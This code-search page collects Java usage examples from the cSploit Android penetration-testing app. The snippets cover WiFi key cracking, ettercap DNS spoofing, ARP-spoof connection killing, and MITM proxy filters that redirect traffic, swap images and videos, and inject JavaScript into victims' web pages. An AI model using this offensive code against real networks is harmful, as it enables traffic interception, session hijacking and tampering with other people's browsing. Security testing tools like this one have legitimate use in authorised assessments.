Search in sources :

Example 6 with ErrorDialog

use of org.csploit.android.gui.dialogs.ErrorDialog in project android by cSploit.

the class WifiScannerFragment method performCracking.

private void performCracking(final Keygen keygen, final ScanResult ap) {
    final ProgressDialog dialog = ProgressDialog.show(getActivity(), "", getString(R.string.generating_keys), true, false);
    new Thread(new Runnable() {

        @Override
        public void run() {
            dialog.show();
            try {
                List<String> keys = keygen.getKeys();
                if (keys == null || keys.size() == 0) {
                    getActivity().runOnUiThread(new Runnable() {

                        @Override
                        public void run() {
                            new ErrorDialog(getString(R.string.error), keygen.getErrorMessage().isEmpty() ? getString(R.string.wifi_error_keys) : keygen.getErrorMessage(), getActivity()).show();
                        }
                    });
                } else {
                    mCurrentAp = ap;
                    mKeyList = keys;
                    nextConnectionAttempt();
                }
            } catch (Exception e) {
                System.errorLogging(e);
            } finally {
                dialog.dismiss();
            }
        }
    }).start();
}
Also used : ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) ProgressDialog(android.app.ProgressDialog)

Example 7 with ErrorDialog

use of org.csploit.android.gui.dialogs.ErrorDialog in project android by cSploit.

the class DNSSpoofing method setStartedState.

private void setStartedState() {
    try {
        mSpoofSession.start(new Ettercap.OnDNSSpoofedReceiver() {

            @Override
            public void onSpoofed(String line) {
                Logger.info("DNSSpoofing.onevent() line: " + line);
                if (line.contains("spoofed to"))
                    Toast.makeText(DNSSpoofing.this, line, Toast.LENGTH_LONG).show();
            }

            @Override
            public void onStderr(String line) {
                if (line.contains("spoofed to"))
                    Toast.makeText(DNSSpoofing.this, line, Toast.LENGTH_LONG).show();
            }

            @Override
            public void onReady() {
            }

            @Override
            public void onEnd(final int exitValue) {
                DNSSpoofing.this.runOnUiThread(new Runnable() {

                    @Override
                    public void run() {
                        if (exitValue != 0) {
                            Toast.makeText(DNSSpoofing.this, "ettercap returned #" + exitValue, Toast.LENGTH_LONG).show();
                        }
                        setStoppedState();
                    }
                });
            }

            @Override
            public void onError(final String error) {
                DNSSpoofing.this.runOnUiThread(new Runnable() {

                    @Override
                    public void run() {
                        if (!DNSSpoofing.this.isFinishing()) {
                            new ErrorDialog(getString(R.string.error), error, DNSSpoofing.this).show();
                            setStoppedState();
                        }
                    }
                });
            }

            @Override
            public void onDeath(final int signal) {
                DNSSpoofing.this.runOnUiThread(new Runnable() {

                    @Override
                    public void run() {
                        Toast.makeText(DNSSpoofing.this, "ettercap killed by signal #" + signal, Toast.LENGTH_LONG).show();
                        setStoppedState();
                    }
                });
            }
        });
        mSniffProgress.setVisibility(View.VISIBLE);
        mRunning = true;
    } catch (ChildManager.ChildNotStartedException e) {
        System.errorLogging(e);
        mSniffToggleButton.setChecked(false);
        Toast.makeText(DNSSpoofing.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
    }
}
Also used : ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) Ettercap(org.csploit.android.tools.Ettercap) ChildManager(org.csploit.android.core.ChildManager)

Example 8 with ErrorDialog

use of org.csploit.android.gui.dialogs.ErrorDialog in project android by cSploit.

the class MITM method onCreate.

@Override
public void onCreate(Bundle savedInstanceState) {
    SharedPreferences themePrefs = getSharedPreferences("THEME", 0);
    Boolean isDark = themePrefs.getBoolean("isDark", false);
    if (isDark)
        setTheme(R.style.DarkTheme);
    else
        setTheme(R.style.AppTheme);
    super.onCreate(savedInstanceState);
    new CheckForOpenPortsTask().execute();
    mActionListView = (ListView) findViewById(R.id.actionListView);
    mActionAdapter = new ActionAdapter(R.layout.plugin_mitm_list_item, mActions);
    mActionListView.setAdapter(mActionAdapter);
    mImagePicker = new Intent(Intent.ACTION_PICK, android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
    mImagePicker.setType("image/*");
    mImagePicker.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
    mScriptPicker = new Intent();
    mScriptPicker.addCategory(Intent.CATEGORY_OPENABLE);
    mScriptPicker.setType("text/*");
    mScriptPicker.setAction(Intent.ACTION_GET_CONTENT);
    mScriptPicker.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
    mActions.add(new Action(getString(R.string.mitm_simple_sniff), getString(R.string.mitm_simple_sniff_desc), R.drawable.action_sniffer, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, Sniffer.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_password_sniff), getString(R.string.mitm_password_sniff_desc), R.drawable.action_passwords, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, PasswordSniffer.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_dns_spoofing), getString(R.string.mitm_dns_spoofing_desc), R.drawable.action_redirect, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, DNSSpoofing.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_session_hijack), getString(R.string.mitm_session_hijack_desc), R.drawable.action_hijack, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, Hijacker.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_connection_kill), getString(R.string.mitm_connection_kill_desc), R.drawable.action_kill, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                if (System.getCurrentTarget().getType() != Target.Type.ENDPOINT) {
                    new ErrorDialog(getString(R.string.error), getString(R.string.mitm_connection_kill_error), MITM.this).show();
                } else if (!System.getNetwork().haveGateway() && !System.getNetwork().isTetheringEnabled()) {
                    new ErrorDialog(getString(R.string.error), "Connection killer requires a gateway or active Tethering", MITM.this).show();
                } else {
                    setStoppedState();
                    try {
                        if (System.getNetwork().haveGateway()) {
                            mConnectionKillerProcess = System.getTools().arpSpoof.spoof(System.getCurrentTarget(), new ArpSpoof.ArpSpoofReceiver() {

                                @Override
                                public void onStart(String cmd) {
                                    super.onStart(cmd);
                                    System.setForwarding(false);
                                }

                                @Override
                                public void onError(String line) {
                                    MITM.this.runOnUiThread(new Runnable() {

                                        @Override
                                        public void run() {
                                            Toast.makeText(MITM.this, "arpspoof error", Toast.LENGTH_LONG).show();
                                            activity.setVisibility(View.INVISIBLE);
                                        }
                                    });
                                }
                            });
                        } else {
                            mConnectionKillerProcess = null;
                            System.setForwarding(false);
                        }
                        activity.setVisibility(View.VISIBLE);
                        Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                    } catch (ChildManager.ChildNotStartedException e) {
                        Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                    }
                }
            } else {
                if (mConnectionKillerProcess != null) {
                    mConnectionKillerProcess.kill(2);
                    mConnectionKillerProcess = null;
                }
                if (!System.getNetwork().haveGateway() && System.getNetwork().isTetheringEnabled()) {
                    System.setForwarding(true);
                }
                activity.setVisibility(View.INVISIBLE);
            }
        }
    }, new Action.ActionEnabler() {

        @Override
        public boolean isEnabled() {
            return System.getNetwork().haveGateway() || System.getNetwork().isTetheringEnabled();
        }
    }));
    mActions.add(new Action(getString(R.string.mitm_redirect), getString(R.string.mitm_redirect_desc), R.drawable.action_redirect, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new RedirectionDialog(getString(R.string.mitm_redirection), MITM.this, new RedirectionDialogListener() {

                    @Override
                    public void onInputEntered(String address, String port) {
                        if (address.isEmpty() == false && port.isEmpty() == false) {
                            try {
                                int iport = Integer.parseInt(port);
                                if (iport <= 0 || iport > 65535)
                                    throw new Exception(getString(R.string.error_port_outofrange));
                                address = address.startsWith("http") ? address : "http://" + address;
                                URL url = new URL(address);
                                address = url.getHost();
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                final String faddress = address;
                                final int fport = iport;
                                mSpoofSession = new SpoofSession();
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setRedirection(faddress, fport);
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                            } catch (Exception e) {
                                new ErrorDialog(getString(R.string.error), e.getMessage(), MITM.this).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_invalid_address_or_port), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_image_replace), getString(R.string.mitm_image_replace_desc), R.drawable.action_image, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new ChoiceDialog(MITM.this, getString(R.string.choose_source), new String[] { getString(R.string.local_images), "Web URL" }, new ChoiceDialogListener() {

                    @Override
                    public void onChoice(int choice) {
                        if (choice == 0) {
                            try {
                                mCurrentActivity = activity;
                                startActivityForResult(mImagePicker, SELECT_PICTURE);
                            } catch (ActivityNotFoundException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_image_intent), MITM.this).show();
                            }
                        } else {
                            new InputDialog(getString(R.string.image), getString(R.string.enter_image_url), "", true, false, MITM.this, new InputDialogListener() {

                                @Override
                                public void onInputEntered(String input) {
                                    String image = input.trim();
                                    if (image.isEmpty() == false) {
                                        image = image.startsWith("http") ? image : "http://" + image;
                                        activity.setVisibility(View.VISIBLE);
                                        final String resource = image;
                                        mSpoofSession = new SpoofSession();
                                        try {
                                            mSpoofSession.start(new OnSessionReadyListener() {

                                                @Override
                                                public void onSessionReady() {
                                                    System.getProxy().setFilter(new ProxyFilter() {

                                                        @Override
                                                        public String onDataReceived(String headers, String data) {
                                                            // handle img tags
                                                            data = data.replaceAll("(?i)<img([^/]+)src=(['\"])[^'\"]+(['\"])", "<img$1src=$2" + resource + "$3");
                                                            // handle css background declarations
                                                            data = data.replaceAll("(?i)background\\s*(:|-)\\s*url\\s*[\\(|:][^\\);]+\\)?.*", "background: url(" + resource + ")");
                                                            return data;
                                                        }
                                                    });
                                                }

                                                @Override
                                                public void onError(String error, int resId) {
                                                    error = error == null ? getString(resId) : error;
                                                    setSpoofErrorState(error);
                                                }
                                            });
                                            Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                        } catch (ChildManager.ChildNotStartedException e) {
                                            Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                                        }
                                    } else
                                        new ErrorDialog(getString(R.string.error), getString(R.string.error_image_url), MITM.this).show();
                                }
                            }).show();
                        }
                    }
                }).show();
            } else {
                mCurrentActivity = null;
                setStoppedState();
            }
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_video_replace), getString(R.string.mitm_video_replace_desc), R.drawable.action_youtube, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new InputDialog(getString(R.string.video), getString(R.string.enter_video_url), "http://www.youtube.com/watch?v=dQw4w9WgXcQ", true, false, MITM.this, new InputDialogListener() {

                    @Override
                    public void onInputEntered(String input) {
                        final String video = input.trim();
                        Matcher matcher = YOUTUBE_PATTERN.matcher(input);
                        if (video.isEmpty() == false && matcher != null && matcher.find()) {
                            final String videoId = matcher.group(1);
                            mSpoofSession = new SpoofSession();
                            try {
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setFilter(new ProxyFilter() {

                                            @Override
                                            public String onDataReceived(String headers, String data) {
                                                if (data.matches("(?s).+/v=[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/v=[a-zA-Z0-9_-]+", "/v=" + videoId);
                                                else if (data.matches("(?s).+/v/[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/v/[a-zA-Z0-9_-]+", "/v/" + videoId);
                                                else if (data.matches("(?s).+/embed/[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/embed/[a-zA-Z0-9_-]+", "/embed/" + videoId);
                                                return data;
                                            }
                                        });
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            } catch (ChildManager.ChildNotStartedException e) {
                                System.errorLogging(e);
                                Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_video_url), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_script_injection), getString(R.string.mitm_script_injection_desc), R.drawable.action_injection, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new ChoiceDialog(MITM.this, getString(R.string.choose_method), new String[] { getString(R.string.local_files), getString(R.string.custom_code) }, new ChoiceDialogListener() {

                    @Override
                    public void onChoice(int choice) {
                        if (choice == 0) {
                            try {
                                mCurrentActivity = activity;
                                startActivityForResult(mScriptPicker, SELECT_SCRIPT);
                            } catch (ActivityNotFoundException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_file_intent), MITM.this).show();
                            }
                        } else {
                            new InputDialog("Javascript", getString(R.string.enter_js_code), "<script type=\"text/javascript\">\n" + "  alert('This site has been hacked with cSploit!');\n" + "</script>", true, false, MITM.this, new InputDialogListener() {

                                @Override
                                public void onInputEntered(String input) {
                                    final String js = input.trim();
                                    if (js.isEmpty() == false || js.startsWith("<script") == false) {
                                        mSpoofSession = new SpoofSession();
                                        try {
                                            mSpoofSession.start(new OnSessionReadyListener() {

                                                @Override
                                                public void onSessionReady() {
                                                    System.getProxy().setFilter(new ProxyFilter() {

                                                        @Override
                                                        public String onDataReceived(String headers, String data) {
                                                            return data.replaceAll("(?i)</head>", js + "</head>");
                                                        }
                                                    });
                                                }

                                                @Override
                                                public void onError(String error, int resId) {
                                                    error = error == null ? getString(resId) : error;
                                                    setSpoofErrorState(error);
                                                }
                                            });
                                            activity.setVisibility(View.VISIBLE);
                                            Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                        } catch (ChildManager.ChildNotStartedException e) {
                                            System.errorLogging(e);
                                            Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                                        }
                                    } else
                                        new ErrorDialog(getString(R.string.error), getString(R.string.error_js_code), MITM.this).show();
                                }
                            }).show();
                        }
                    }
                }).show();
            } else {
                mCurrentActivity = null;
                setStoppedState();
            }
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_custom), getString(R.string.mitm_custom_desc), new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new CustomFilterDialog(getString(R.string.custom_filter), MITM.this, new CustomFilterDialogListener() {

                    @Override
                    public void onInputEntered(final ArrayList<String> from, final ArrayList<String> to) {
                        if (from.isEmpty() == false && to.isEmpty() == false) {
                            try {
                                for (String exp : from) {
                                    Pattern.compile(exp);
                                }
                                mSpoofSession = new SpoofSession();
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setFilter(new ProxyFilter() {

                                            @Override
                                            public String onDataReceived(String headers, String data) {
                                                for (int i = 0; i < from.size(); i++) {
                                                    data = data.replaceAll(from.get(i), to.get(i));
                                                }
                                                return data;
                                            }
                                        });
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            } catch (PatternSyntaxException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_filter) + ": " + e.getDescription() + " .", MITM.this).show();
                            } catch (ChildManager.ChildNotStartedException e) {
                                System.errorLogging(e);
                                Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_filter), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }));
}
Also used : OnSessionReadyListener(org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener) ProxyFilter(org.csploit.android.net.http.proxy.Proxy.ProxyFilter) Matcher(java.util.regex.Matcher) Hijacker(org.csploit.android.plugins.mitm.hijacker.Hijacker) ArrayList(java.util.ArrayList) ChildManager(org.csploit.android.core.ChildManager) URL(java.net.URL) ChoiceDialog(org.csploit.android.gui.dialogs.ChoiceDialog) ProgressBar(android.widget.ProgressBar) ArpSpoof(org.csploit.android.tools.ArpSpoof) RedirectionDialog(org.csploit.android.gui.dialogs.RedirectionDialog) ChoiceDialogListener(org.csploit.android.gui.dialogs.ChoiceDialog.ChoiceDialogListener) PatternSyntaxException(java.util.regex.PatternSyntaxException) InputDialog(org.csploit.android.gui.dialogs.InputDialog) CustomFilterDialog(org.csploit.android.gui.dialogs.CustomFilterDialog) SharedPreferences(android.content.SharedPreferences) ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) RedirectionDialogListener(org.csploit.android.gui.dialogs.RedirectionDialog.RedirectionDialogListener) Intent(android.content.Intent) CustomFilterDialogListener(org.csploit.android.gui.dialogs.CustomFilterDialog.CustomFilterDialogListener) ImageView(android.widget.ImageView) View(android.view.View) TextView(android.widget.TextView) ListView(android.widget.ListView) PatternSyntaxException(java.util.regex.PatternSyntaxException) ActivityNotFoundException(android.content.ActivityNotFoundException) InputDialogListener(org.csploit.android.gui.dialogs.InputDialog.InputDialogListener) ActivityNotFoundException(android.content.ActivityNotFoundException) OnClickListener(android.view.View.OnClickListener)

Example 9 with ErrorDialog

use of org.csploit.android.gui.dialogs.ErrorDialog in project android by cSploit.

the class MITM method onActivityResult.

@Override
protected void onActivityResult(int request, int result, Intent intent) {
    super.onActivityResult(request, result, intent);
    if (request == SELECT_PICTURE && result == RESULT_OK) {
        try {
            Uri uri = intent.getData();
            String fileName = null, mimeType = null;
            if (uri != null) {
                String[] columns = { MediaColumns.DATA };
                Cursor cursor = getContentResolver().query(uri, columns, null, null, null);
                cursor.moveToFirst();
                int index = cursor.getColumnIndex(MediaColumns.DATA);
                if (index != -1) {
                    fileName = cursor.getString(index);
                }
                cursor.close();
            }
            if (fileName == null) {
                setStoppedState();
                new ErrorDialog(getString(R.string.error), getString(R.string.error_filepath2), MITM.this).show();
            } else {
                mimeType = System.getImageMimeType(fileName);
                mSpoofSession = new SpoofSession(true, true, fileName, mimeType);
                if (mCurrentActivity != null)
                    mCurrentActivity.setVisibility(View.VISIBLE);
                mSpoofSession.start(new OnSessionReadyListener() {

                    @Override
                    public void onSessionReady() {
                        MITM.this.runOnUiThread(new Runnable() {

                            @Override
                            public void run() {
                                System.getProxy().setFilter(new Proxy.ProxyFilter() {

                                    @Override
                                    public String onDataReceived(String headers, String data) {
                                        String resource = System.getServer().getResourceURL();
                                        // handle img tags
                                        data = data.replaceAll("(?i)<img([^/]+)src=(['\"])[^'\"]+(['\"])", "<img$1src=$2" + resource + "$3");
                                        // handle css background declarations
                                        data = data.replaceAll("(?i)background\\s*(:|-)\\s*url\\s*[\\(|:][^\\);]+\\)?.*", "background: url(" + resource + ")");
                                        return data;
                                    }
                                });
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            }
                        });
                    }

                    @Override
                    public void onError(String error, int resId) {
                        error = error == null ? getString(resId) : error;
                        setSpoofErrorState(error);
                    }
                });
            }
        } catch (Exception e) {
            System.errorLogging(e);
        }
    } else if (request == SELECT_SCRIPT && result == RESULT_OK) {
        String fileName = null;
        if (intent != null && intent.getData() != null)
            fileName = intent.getData().getPath();
        if (fileName == null) {
            new ErrorDialog(getString(R.string.error), getString(R.string.error_filepath), MITM.this).show();
        } else {
            try {
                StringBuffer buffer = new StringBuffer();
                BufferedReader reader = new BufferedReader(new FileReader(fileName));
                char[] buf = new char[1024];
                int read = 0;
                String js = "";
                while ((read = reader.read(buf)) != -1) {
                    buffer.append(String.valueOf(buf, 0, read));
                }
                reader.close();
                js = buffer.toString().trim();
                if (js.startsWith("<script") == false && js.startsWith("<SCRIPT") == false)
                    js = "<script type=\"text/javascript\">\n" + js + "\n</script>\n";
                mCurrentActivity.setVisibility(View.VISIBLE);
                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                final String code = js;
                mSpoofSession = new SpoofSession();
                mSpoofSession.start(new OnSessionReadyListener() {

                    @Override
                    public void onSessionReady() {
                        System.getProxy().setFilter(new Proxy.ProxyFilter() {

                            @Override
                            public String onDataReceived(String headers, String data) {
                                return data.replaceAll("(?i)</head>", code + "</head>");
                            }
                        });
                    }

                    @Override
                    public void onError(String error, int resId) {
                        error = error == null ? getString(resId) : error;
                        setSpoofErrorState(error);
                    }
                });
            } catch (Exception e) {
                new ErrorDialog(getString(R.string.error), getString(R.string.unexpected_file_error) + e.getMessage(), MITM.this).show();
            }
        }
    } else if (request == SettingsFragment.SETTINGS_DONE) {
        new CheckForOpenPortsTask().execute();
    }
}
Also used : OnSessionReadyListener(org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener) ProxyFilter(org.csploit.android.net.http.proxy.Proxy.ProxyFilter) ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) Cursor(android.database.Cursor) Uri(android.net.Uri) PatternSyntaxException(java.util.regex.PatternSyntaxException) ActivityNotFoundException(android.content.ActivityNotFoundException) Proxy(org.csploit.android.net.http.proxy.Proxy) BufferedReader(java.io.BufferedReader) FileReader(java.io.FileReader)

Example 10 with ErrorDialog

use of org.csploit.android.gui.dialogs.ErrorDialog in project android by cSploit.

the class PortScanner method onOptionsItemSelected.

@Override
public boolean onOptionsItemSelected(MenuItem item) {
    switch(item.getItemId()) {
        case R.id.scanner_custom_parameters:
            if (item.isChecked())
                hideParametersField();
            else
                displayParametersField();
            item.setChecked(!item.isChecked());
            return true;
        case R.id.select_ports:
            new InputDialog(getString(R.string.select_ports), getString(R.string.enter_ports_list), this, new InputDialogListener() {

                @Override
                public void onInputEntered(String input) {
                    input = input.trim();
                    if (!input.isEmpty()) {
                        String[] ports = input.split("[^\\d]+");
                        for (String port : ports) {
                            try {
                                if (port.isEmpty())
                                    throw new Exception(getString(R.string.invalid_port_) + port + "'.");
                                else {
                                    int iport = Integer.parseInt(port);
                                    if (iport <= 0 || iport > 65535)
                                        throw new Exception(getString(R.string.port_must_be_greater));
                                }
                            } catch (Exception e) {
                                new ErrorDialog("Error", e.toString(), PortScanner.this).show();
                                return;
                            }
                        }
                        mCustomPorts = "";
                        for (int i = 0, last = ports.length - 1; i < ports.length; i++) {
                            mCustomPorts += ports[i];
                            if (i != last)
                                mCustomPorts += ",";
                        }
                        if (mCustomPorts.isEmpty()) {
                            mCustomPorts = null;
                            new ErrorDialog(getString(R.string.error), getString(R.string.invalid_ports), PortScanner.this).show();
                        }
                        hideParametersField();
                        mMenu.findItem(R.id.scanner_custom_parameters).setChecked(false);
                        Logger.debug("mCustomPorts = " + mCustomPorts);
                    } else
                        new ErrorDialog(getString(R.string.error), getString(R.string.empty_port_list), PortScanner.this).show();
                }
            }).show();
            return true;
        default:
            return super.onOptionsItemSelected(item);
    }
}
Also used : InputDialogListener(org.csploit.android.gui.dialogs.InputDialog.InputDialogListener) InputDialog(org.csploit.android.gui.dialogs.InputDialog) ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) ActivityNotFoundException(android.content.ActivityNotFoundException)

Aggregations

ErrorDialog (org.csploit.android.gui.dialogs.ErrorDialog)11 ActivityNotFoundException (android.content.ActivityNotFoundException)5 Intent (android.content.Intent)5 InputDialog (org.csploit.android.gui.dialogs.InputDialog)4 InputDialogListener (org.csploit.android.gui.dialogs.InputDialog.InputDialogListener)4 SharedPreferences (android.content.SharedPreferences)3 View (android.view.View)3 OnClickListener (android.view.View.OnClickListener)3 ListView (android.widget.ListView)3 TextView (android.widget.TextView)3 IOException (java.io.IOException)3 ConfirmDialog (org.csploit.android.gui.dialogs.ConfirmDialog)3 ConfirmDialogListener (org.csploit.android.gui.dialogs.ConfirmDialog.ConfirmDialogListener)3 Target (org.csploit.android.net.Target)3 AdapterView (android.widget.AdapterView)2 OnItemLongClickListener (android.widget.AdapterView.OnItemLongClickListener)2 ImageView (android.widget.ImageView)2 PatternSyntaxException (java.util.regex.PatternSyntaxException)2 ChildManager (org.csploit.android.core.ChildManager)2 SpinnerDialog (org.csploit.android.gui.dialogs.SpinnerDialog)2